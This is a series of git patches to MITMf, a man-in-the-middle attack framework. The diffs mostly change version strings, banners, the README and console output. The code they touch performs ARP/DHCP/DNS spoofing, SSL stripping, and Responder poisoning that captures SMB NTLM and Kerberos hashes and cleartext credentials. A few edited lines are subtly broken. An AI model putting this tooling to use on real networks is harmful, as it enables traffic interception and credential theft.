os.path.exists("./logs"): os.makedirs("./logs") diff --git a/mitmf.py b/mitmf.py index 060bc9b..08a93d4 100755 --- a/mitmf.py +++ b/mitmf.py @@ -5,6 +5,7 @@ from twisted.internet import reactor from libs.sslstrip.CookieCleaner import CookieCleaner from libs.sergioproxy.ProxyPlugins import ProxyPlugins +from libs.banners import get import logging @@ -25,11 +26,14 @@ try: except: print "[-] user_agents library missing! User-Agent parsing will be disabled!" -mitmf_version = "0.9" +mitmf_version = "0.9.5" sslstrip_version = "0.9" sergio_version = "0.2.1" -parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +banner = get() +print banner + +parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") @@ -137,8 +141,11 @@ for p in plugins: if getattr(args, p.optname): p.initialize(args) load.append(p) - except NotImplementedError: - print "Plugin %s lacked initialize function." % p.name + + if vars(args)[p.optname] is True: + print "|_ %s v%s" % (p.name, p.version) + except Exception, e: + print "[-] Error loading plugin: " + str(e) #Plugins are ready to go, start MITMf if args.disproxy: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 2707b62..7c135e7 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -20,7 +20,7 @@ import random class Spoof(Plugin): name = "Spoof" optname = "spoof" - desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' + desc = "Redirect/Modify traffic using ICMP, ARP or DHCP" version = "0.4" has_opts = True req_root = True diff --git a/requirements.txt b/requirements.txt index 8616a47..4319c70 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,6 +6,7 @@ dnspython user-agents configobj pyyaml +NetfilterQueue >= 0.6 ua-parser Pillow pefile From caaee530797c8654de65dc3530aa4ae61a4cb94e Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 21:03:33 +0100 Subject: [PATCH 095/323] version bump --- README.md | 7 +++---- libs/banners.py | 24 ++---------------------- mitmf.py | 10 +++++----- plugins/BeefAutorun.py | 1 + plugins/JavaPwn.py | 2 +- plugins/Responder.py | 1 - plugins/Spoof.py | 4 ---- 7 files changed, 12 insertions(+), 37 deletions(-) diff --git a/README.md b/README.md index 1053493..56a042b 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ -MITMf V0.9.1 -========== +MITMf V0.9.5 +============ Framework for Man-In-The-Middle attacks @@ -37,7 +37,6 @@ So far the most significant changes have been: - Addition of the SessionHijacking plugin, which uses code from FireLamb (https://github.com/sensepost/mana/tree/master/firelamb) to store cookies in a Firefox profile - Spoof plugin now supports ICMP, ARP and DHCP spoofing along with DNS tampering - (DNS tampering code was stolen from https://github.com/DanMcInerney/dnsspoof/) - Spoof plugin can now exploit the 'ShellShock' bug when DHCP spoofing! @@ -54,6 +53,6 @@ https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy ht

How to install on Kali

-MITMf is now in tha kali linux repositories!! wohooooo!! +MITMf is now in tha kali linux repositories! ```apt-get install mitmf``` diff --git a/libs/banners.py b/libs/banners.py index 67b718a..c8d42bc 100644 --- a/libs/banners.py +++ b/libs/banners.py @@ -41,25 +41,6 @@ banner3 = """ """ banner4 = """ -MMMMMMMM MMMMMMMMIIIIIIIIIITTTTTTTTTTTTTTTTTTTTTTTMMMMMMMM MMMMMMMM ffffffffffffffff -M:::::::M M:::::::MI::::::::IT:::::::::::::::::::::TM:::::::M M:::::::M f::::::::::::::::f -M::::::::M M::::::::MI::::::::IT:::::::::::::::::::::TM::::::::M M::::::::M f::::::::::::::::::f -M:::::::::M M:::::::::MII::::::IIT:::::TT:::::::TT:::::TM:::::::::M M:::::::::M f::::::fffffff:::::f -M::::::::::M M::::::::::M I::::I TTTTTT T:::::T TTTTTTM::::::::::M M::::::::::M f:::::f ffffff -M:::::::::::M M:::::::::::M I::::I T:::::T M:::::::::::M M:::::::::::M f:::::f -M:::::::M::::M M::::M:::::::M I::::I T:::::T M:::::::M::::M M::::M:::::::Mf:::::::ffffff -M::::::M M::::M M::::M M::::::M I::::I T:::::T M::::::M M::::M M::::M M::::::Mf::::::::::::f -M::::::M M::::M::::M M::::::M I::::I T:::::T M::::::M M::::M::::M M::::::Mf::::::::::::f -M::::::M M:::::::M M::::::M I::::I T:::::T M::::::M M:::::::M M::::::Mf:::::::ffffff -M::::::M M:::::M M::::::M I::::I T:::::T M::::::M M:::::M M::::::M f:::::f -M::::::M MMMMM M::::::M I::::I T:::::T M::::::M MMMMM M::::::M f:::::f -M::::::M M::::::MII::::::II TT:::::::TT M::::::M M::::::Mf:::::::f -M::::::M M::::::MI::::::::I T:::::::::T M::::::M M::::::Mf:::::::f -M::::::M M::::::MI::::::::I T:::::::::T M::::::M M::::::Mf:::::::f -MMMMMMMM MMMMMMMMIIIIIIIIII TTTTTTTTTTT MMMMMMMM MMMMMMMMfffffffff -""" - -banner5 = """ ___ ___ ___ /\ \ /\ \ /\__\ |::\ \ ___ ___ |::\ \ /:/ _/_ @@ -71,9 +52,8 @@ banner5 = """ \:\ \ \::/ / \/__\:\ \ \:\ \ \:\ \ \:\__\ /:/ / \:\__\ \:\__\ \:\__\ \/__/ \/__/ \/__/ \/__/ \/__/ - """ -def get(): - banners = [banner1, banner2, banner3, banner4, banner5] +def get_banner(): + banners = [banner1, banner2, banner3, banner4] return random.choice(banners) diff --git a/mitmf.py b/mitmf.py index 08a93d4..a736cef 100755 --- a/mitmf.py +++ b/mitmf.py @@ -5,7 +5,7 @@ from twisted.internet import reactor from libs.sslstrip.CookieCleaner import CookieCleaner from libs.sergioproxy.ProxyPlugins import ProxyPlugins -from libs.banners import get +from libs.banners import get_banner import logging @@ -30,7 +30,7 @@ mitmf_version = "0.9.5" sslstrip_version = "0.9" sergio_version = "0.2.1" -banner = get() +banner = get_banner() print banner parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') @@ -138,12 +138,12 @@ load = [] for p in plugins: try: + if vars(args)[p.optname] is True: + print "|_ %s v%s" % (p.name, p.version) + if getattr(args, p.optname): p.initialize(args) load.append(p) - - if vars(args)[p.optname] is True: - print "|_ %s v%s" % (p.name, p.version) except Exception, e: print "[-] Error loading plugin: " + str(e) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 2c25592..4edea1b 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -45,6 +45,7 @@ class BeefAutorun(Inject, Plugin): if not beef.login(beefconfig['user'], beefconfig['pass']): sys.exit("[-] Error logging in to BeEF!") + print "| |_ Mode: %s" % self.Mode t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t.setDaemon(True) t.start() diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index cf1f88c..b1ff1ad 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -50,7 +50,7 @@ class JavaPwn(BrowserProfiler, Plugin): msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf.login('msf', self.rpcpass) version = msf.call('core.version')['version'] - print "[*] Successfully connected to Metasploit v%s" % version + print "| |_ Connected to Metasploit v%s" % version except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") diff --git a/plugins/Responder.py b/plugins/Responder.py index 8156dc9..19e8138 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -24,7 +24,6 @@ class Responder(Plugin): except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - print "[*] Responder plugin online" DnsCache.getInstance().setCustomAddress(self.ip_address) for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 7c135e7..fac052c 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -1,7 +1,3 @@ -# -# DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof -# - from plugins.plugin import Plugin from time import sleep import dns.resolver From 1b904200d2f8cba3d1a4aa2135da7549544a0ae1 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 21:24:41 +0100 Subject: [PATCH 096/323] Update README.md --- README.md | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 56a042b..c611197 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,12 @@ Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. -Availible plugins: +Dependency change! +=================== +As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which has yet to be merged into the main repo! Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. + +Availible plugins +================= - Responder - LLMNR, NBT-NS and MDNS poisoner - SSLstrip+ - Partially bypass HSTS - Spoof - Redirect traffic using ARP Spoofing, ICMP Redirects or DHCP Spoofing and modify DNS queries @@ -25,7 +30,8 @@ Availible plugins: - SMBAuth - Evoke SMB challenge-response auth attempts - Upsidedownternet - Flips images 180 degrees -So far the most significant changes have been: +Changelog +========= - Addition of the Sniffer plugin which integrates Net-Creds (https://github.com/DanMcInerney/net-creds) currently supported protocols are: FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (community strings), NTLMv1/v2 (all supported protocols like HTTP, SMB, LDAP etc..) and Kerberos @@ -51,8 +57,7 @@ https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy ht - Addition of the app-cache poisoning attack by Krzysztof Kotowicz -

How to install on Kali

- -MITMf is now in tha kali linux repositories! +How to install on Kali +====================== ```apt-get install mitmf``` From af8b741f81018599f3fe67d673f78252ef2e0dd5 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 21:47:21 +0100 Subject: [PATCH 097/323] Update README.md --- README.md | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index c611197..9000afc 100644 --- a/README.md +++ b/README.md @@ -7,9 +7,13 @@ Quick tutorials, examples and dev updates at http://sign0f4.blogspot.it This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project. +**Before submitting issues please read the appropriate section.** + Dependency change! =================== -As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which has yet to be merged into the main repo! Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. +As of version 0.9.5 DNS tampering support needs NetfilterQueue v0.6 which has yet to be merged into the main repo! + +Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. Availible plugins ================= @@ -57,6 +61,17 @@ https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy ht - Addition of the app-cache poisoning attack by Krzysztof Kotowicz +Submitting Issues +================= +If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com + +If you find a *bug* please open an issue and include at least the following in the description: + +- Full command string you used +- OS your using + +Also remeber Github markdown is your friend! + How to install on Kali ====================== From e7a7b0a57fdd2e832d6bbe29c5a20c75399098be Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 21:55:44 +0100 Subject: [PATCH 098/323] removed os specific deps in setup script --- setup.sh | 3 --- 1 file changed, 3 deletions(-) diff --git a/setup.sh b/setup.sh index 104b15f..c5a7d24 100755 --- a/setup.sh +++ b/setup.sh @@ -4,9 +4,6 @@ if [[ $EUID -ne 0 ]]; then exit 1 fi -apt-get install python-scapy python-dns python-pip msgpack-python python-nfqueue python-imaging -y -apt-get install python-twisted-web python-dnspython python-requests python-configobj python-pefile -y -pip install pyyaml ua-parser user-agents git submodule init git submodule update cd libs/bdfactory/ && ./install.sh From 8b6e5e99d463fd7f9394815e170ebbdd7a6bd37d Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 21:56:27 +0100 Subject: [PATCH 099/323] spelling --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9000afc..99454df 100644 --- a/README.md +++ b/README.md @@ -70,7 +70,7 @@ If you find a *bug* please open an issue and include at least the following in t - Full command string you used - OS your using -Also remeber Github markdown is your friend! +Also remember: Github markdown is your friend! How to install on Kali ====================== From 68c9c7e1bd0a6a12f448962953d14bb3c8020adf Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 23:26:32 +0100 Subject: [PATCH 100/323] - Fixed Responder plugin calling wrong var - Modified output --- libs/responder/Responder.py | 4 ---- mitmf.py | 10 ++++------ plugins/Responder.py | 11 +++++++++-- plugins/SSLstrip+.py | 2 ++ 4 files changed, 15 insertions(+), 12 deletions(-) diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 4bebcac..6ade61f 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -2503,10 +2503,6 @@ def start_responder(options, ip_address, config): AnalyzeICMPRedirect() - print "[*] NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % VERSION - if AnalyzeMode: - print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n' - start_message = "Responder will redirect requests to: %s\n" % ip_address start_message += "Challenge set: %s\n" % NumChal start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off diff --git a/mitmf.py b/mitmf.py index a736cef..1e989ac 100755 --- a/mitmf.py +++ b/mitmf.py @@ -131,8 +131,7 @@ rootLogger.addHandler(fileHandler) ##################################################################################################### #All our options should be loaded now, pass them onto plugins -print "[*] MITMf v%s started... initializing plugins" % mitmf_version -print "[*] sergio-proxy v%s online" % sergio_version +print "[*] MITMf v%s online... initializing plugins" % mitmf_version load = [] @@ -170,10 +169,9 @@ else: if hasattr(p, 'plugin_reactor'): p.plugin_reactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it - print "\n[*] sslstrip v%s by Moxie Marlinspike running..." % sslstrip_version - - if args.hsts: - print "[*] sslstrip+ by Leonardo Nve running..." + print "|" + print "|_ Sergio-Proxy v%s online" % sergio_version + print "|_ SSLstrip v%s by Moxie Marlinspike running..." % sslstrip_version reactor.run() diff --git a/plugins/Responder.py b/plugins/Responder.py index 19e8138..9acde6e 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -19,15 +19,22 @@ class Responder(Plugin): self.options = options self.interface = options.interface + RESP_VERSION = "2.1.2" + try: config = options.configfile['Responder'] except Exception, e: sys.exit('[-] Error parsing config for Responder: ' + str(e)) - DnsCache.getInstance().setCustomAddress(self.ip_address) + DnsCache.getInstance().setCustomAddress(options.ip_address) for name in ['wpad', 'ISAProxySrv', 'RespProxySrv']: - DnsCache.getInstance().setCustomRes(name, self.ip_address) + DnsCache.getInstance().setCustomRes(name, options.ip_address) + + print "| |_ NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION + + if options.Analyse: + print '| |_ Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned' t = threading.Thread(name='responder', target=start_responder, args=(options, options.ip_address, config)) t.setDaemon(True) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index e96adda..55561e8 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -18,4 +18,6 @@ class HSTSbypass(Plugin): except Exception, e: sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) + print "| |_ SSLstrip+ by Leonardo Nve running" + URLMonitor.getInstance().setHstsBypass(config) From 5fe8292eb3f3943e8a2d0f8d7763573116e8b30b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 23:55:18 +0100 Subject: [PATCH 101/323] -Removed var from Sniffer plugin --- plugins/Sniffer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index d70b4ed..778c9d9 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -46,11 +46,11 @@ class Sniffer(Plugin): n = NetCreds() #if not self.parse: + print "| |_ Net-Creds online" t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t.setDaemon(True) t.start() - print self.plg_text #else: # pcap = rdpcap(self.parse) # for pkt in pcap: From cd9a16de55e620f44868767b149cb198dd7a2888 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 11 Mar 2015 22:21:34 +0100 Subject: [PATCH 102/323] fixed Responder plugin output --- config/mitmf.cfg | 3 +- libs/responder/Responder.py | 355 ++++++++++++++++++------------------ mitmf.py | 2 +- 3 files changed, 183 insertions(+), 177 deletions(-) diff --git a/config/mitmf.cfg b/config/mitmf.cfg index 92a1803..dee9d21 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.cfg @@ -2,7 +2,8 @@ [MITMf] - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory) + #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` + #(assuming you config file is in the default directory) args='' #Required BeEF and Metasploit options diff --git a/libs/responder/Responder.py b/libs/responder/Responder.py index 6ade61f..099d361 100755 --- a/libs/responder/Responder.py +++ b/libs/responder/Responder.py @@ -276,17 +276,19 @@ class NB(BaseRequestHandler): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) + Message = "%s [Analyze mode: NBT-NS] OS: %s Client Version: %s is looking for: %s Service requested is: %s"%(self.client_address[0], Finger[0], Finger[1], Name, NBT_NS_Role(data[43:46])) logger3.warning(Message) except Exception: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + Message = "%s [Analyze mode: NBT-NS] is looking for : %s Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) logger3.warning(Message) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message + #print Message + logger3.warning(Message) else: - Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + Message = "%s [Analyze mode: NBT-NS] is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message + #print Message + logger3.warning(Message) logger3.warning(Message) if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: @@ -302,17 +304,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - print Message + #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + #print '[+] OsVersion is:%s'%(Finger[0]) + #print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('OsVersion is:%s'%(Finger[0])) + logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): DnsCache.getInstance().setCustomRes(Name.lower()) @@ -323,17 +325,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - print Message + #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + #print '[+] OsVersion is:%s'%(Finger[0]) + #print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('OsVersion is:%s'%(Finger[0])) + logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -352,17 +354,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - print Message + #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + #print '[+] OsVersion is:%s'%(Finger[0]) + p#rint '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('OsVersion is:%s'%(Finger[0])) + logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass if RespondToSpecificName(RespondToName) == False: DnsCache.getInstance().setCustomRes(Name.lower()) @@ -373,17 +375,17 @@ class NB(BaseRequestHandler): Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): - print Message + #print Message logger2.warning(Message) if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) - print '[+] OsVersion is:%s'%(Finger[0]) - print '[+] ClientVersion is :%s'%(Finger[1]) - logging.warning('[+] OsVersion is:%s'%(Finger[0])) - logging.warning('[+] ClientVersion is :%s'%(Finger[1])) + #print '[+] OsVersion is:%s'%(Finger[0]) + #print '[+] ClientVersion is :%s'%(Finger[1]) + logging.warning('OsVersion is:%s'%(Finger[0])) + logging.warning('ClientVersion is :%s'%(Finger[1])) except Exception: - logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0])) + logging.warning('Fingerprint failed for host: %s'%(self.client_address[0])) pass else: pass @@ -443,17 +445,17 @@ def RAPThisDomain(Client,Domain): PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") if PDC is not None: l.append('[Analyze mode LANMAN]:') - l.append('[!]Domain detected on this network:') + l.append('Domain detected on this network:') for x in PDC: l.append(' -'+x) SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") if SQL is not None: - l.append('[!]SQL Server detected on Domain %s:'%(Domain)) + l.append('SQL Server detected on Domain %s:'%(Domain)) for x in SQL: l.append(' -'+x) WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") if WKST is not None: - l.append('[!]Workstations/Servers detected on Domain %s:'%(Domain)) + l.append('Workstations/Servers detected on Domain %s:'%(Domain)) for x in WKST: l.append(' -'+x) else: @@ -520,11 +522,12 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain) if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message + #print Message + logger3.warning(Message) if AnalyzeMode: Message1=RAPThisDomain(Client,Domain) if PrintLLMNRNBTNS(AnalyzeFilename,Message1): - print Message1 + #print Message1 logger3.warning(Message1) logger3.warning(Message) except: @@ -539,11 +542,12 @@ def ParseDatagramNBTNames(data,Client): Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2) if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.": if PrintLLMNRNBTNS(AnalyzeFilename,Message): - print Message + #print Message + logger3.warning(Message) if AnalyzeMode: Message1=RAPThisDomain(Client,Domain) if PrintLLMNRNBTNS(AnalyzeFilename,Message1): - print Message1 + #print Message1 logger3.warning(Message1) logger3.warning(Message) except: @@ -657,10 +661,10 @@ def ParseSMBHash(data,client): writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal outfile = os.path.join(ResponderPATH,"SMB-NTLMv1ESS-Client-"+client+".txt") if PrintData(outfile,User+"::"+Domain): - print "[+]SMB-NTLMv1 hash captured from : ",client - print "[+]SMB complete hash is :", writehash + logging.warning("SMB-NTLMv1 hash captured from : ",client) + logging.warning("SMB complete hash is :", writehash) WriteData(outfile,writehash,User+"::"+Domain) - logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) + logging.warning('SMB-NTLMv1 complete hash is :%s'%(writehash)) if NthashLen > 60: outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") @@ -673,10 +677,10 @@ def ParseSMBHash(data,client): User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','') writehash = User+"::"+Domain+":"+NumChal+":"+NtHash[:32]+":"+NtHash[32:] if PrintData(outfile,User+"::"+Domain): - print "[+]SMB-NTLMv2 hash captured from : ",client - print "[+]SMB complete hash is :", writehash + logging.warning("SMB-NTLMv2 hash captured from : ",client) + logging.warning("SMB complete hash is :", writehash) WriteData(outfile,writehash,User+"::"+Domain) - logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(writehash)) + logging.warning('SMB-NTLMv2 complete hash is :%s'%(writehash)) #Parse SMB NTLMv1/v2 def ParseLMNTHash(data,client): @@ -687,33 +691,33 @@ def ParseLMNTHash(data,client): Bcc = struct.unpack(' 25: Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client)) + logging.warning('SMB-NTLMv2 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper() if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv2 hash captured from :",client - print "[+]SMB-NTLMv2 complete hash is :",Writehash + logging.warning("SMB-NTLMv2 hash captured from :",client) + logging.warning("SMB-NTLMv2 complete hash is :",Writehash) ParseShare(data) WriteData(outfile,Writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash)) + logging.warning('SMB-NTLMv2 complete hash is :%s'%(Writehash)) if NthashLen == 24: - logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client)) + logging.warning('SMB-NTLMv1 hash captured from :%s'%(client)) outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt") pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] Username, Domain = tuple(var) writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal if PrintData(outfile,Username+"::"+Domain): - print "[+]SMB-NTLMv1 hash captured from : ",client - print "[+]SMB complete hash is :", writehash + logging.warning("SMB-NTLMv1 hash captured from : ",client) + logging.warning("SMB complete hash is :", writehash) ParseShare(data) WriteData(outfile,writehash, Username+"::"+Domain) - logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash)) - logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username)) - logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) + logging.warning('SMB-NTLMv1 complete hash is :%s'%(writehash)) + logging.warning('SMB-NTLMv1 Username:%s'%(Username)) + logging.warning('SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain)) except Exception: raise @@ -729,7 +733,7 @@ def IsNT4ClearTxt(data): if PassLen > 2: Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") - print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) + #print "[SMB]Clear Text Credentials: %s:%s" %(User,Password) logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password)) #SMB Server class, NTLMSSP @@ -970,11 +974,11 @@ class KerbTCP(BaseRequestHandler): if KerbHash: Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") if PrintData(Outfile,KerbHash): - print "[+]MSKerbv5 hash captured from : ", self.client_address[0] - print "[+]MSKerbv5 complete hash is :", KerbHash + logging.warning("MSKerbv5 hash captured from : ", self.client_address[0]) + #print "[+]MSKerbv5 complete hash is :", KerbHash Outfile = os.path.join(ResponderPATH,"MSKerberos-Client-"+self.client_address[0]+".txt") WriteData(Outfile,KerbHash, KerbHash) - 